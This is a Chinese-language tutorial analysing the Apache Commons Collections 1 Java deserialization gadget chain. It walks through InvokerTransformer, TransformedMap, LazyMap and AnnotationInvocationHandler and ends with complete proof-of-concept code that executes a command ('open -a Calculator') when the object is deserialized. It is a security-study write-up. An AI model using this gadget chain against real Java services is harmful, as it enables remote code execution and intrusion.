Commons Collections 1分析

环境依赖

1
2
3
4
Apache Commons Collections 3.0 - 4.0
后续在 3.2.2/4.1 版本做了修复

TransformedMap - jdk < 8u71
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

前置知识

AbstractMapDecorator

首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。

这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。


TransformedMap

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。

也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。


LazyMap

org.apache.commons.collections.map.LazyMapTransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformertransform() 方法。

LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。


分析链子

Tranformer 触发点(sink)

CC1链的利用点是Commons Collections库中的Tranformer接口的transform方法。

image

找哪些类实现了 Transformer 接口

image

将所有实现Transformer接口的都看一遍,发现了可利用的:

InvokerTransformer实现了Transformer且实现了Serializable

重点看构造器和实现的transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
}

其中外部构造器允许传入方法名、参数类型、参数列表

transform接收一个对象,然后反射调用,方法值、参数类型、参数都可控

那么我们就可以利用这里来调用任意类的任意方法,先写一个最经典的,弹计算器的demo

1
2
3
4
5
6
7
8
9
10
// 正常弹计算器
public class Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method m = c.getDeclaredMethod("exec", String.class);
m.setAccessible(true);
m.invoke(r,"open -a Calculator");
}
}

image

尝试用transform方法来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.ysoserial.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getDeclaredMethod("exec", String.class);
//m.setAccessible(true);
//m.invoke(r,"open -a Calculator");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"});
invokerTransformer.transform(r);
}
}


image

确定触发点后,往后找适合的子类,构造漏洞链,直到找到入口点。


TransformedMap

找某个类中的某个方法调用了transform,右键FindUsages,注意勾选上libraries,以查找库代码中的调用

image

记得

image

其中TransformedMap.checkSetValue调用了transformTransformedMap类实现了Serializable

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {

......

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

......

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

可以看到构造器和checkSetValue方法都是protected权限的,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

那么就很明确了,我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法


接下来看哪里调用了checkSetValue

image

发现AbstractInputCheckedMapDecorator.setValue调用了checkSetValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {

/**
* Constructor only used in deserialization, do not use otherwise.
*/
protected AbstractInputCheckedMapDecorator() {
super();
}

/**
* Constructor that wraps (not copies).
*
* @param map the map to decorate, must not be null
* @throws IllegalArgumentException if map is null
*/
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}

......

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

image

而上面父类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法

image

而这个类又引入了Map.Entry接口,所以我们只需要进行Map遍历,就可以调用setValue方法,然后调用checkSetValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.ysoserial.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getDeclaredMethod("exec", String.class);
//m.setAccessible(true);
//m.invoke(r,"open -a Calculator");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry<Object,Object> entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}

image

接着要跟进setValue,谁调用了setValue?

找到AnnotationInvocationHandler.readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

......

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。

但该类没有public声明,只能在本包下被调用。反射,构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.ysoserial.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getDeclaredMethod("exec", String.class);
//m.setAccessible(true);
//m.invoke(r,"open -a Calculator");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry<Object,Object> entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstruction.setAccessible(true);
//找一个合法的注解类型,必须是注解类,否则构造函数会报错
Object o = annotationInvocationHandlerConstruction.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

报错。问题出在Runtime不能被序列化以及setValue值不可控上,详情见:JAVA安全初探(三):CC1链全分析-先知社区

完整的CC1链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"open -a Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}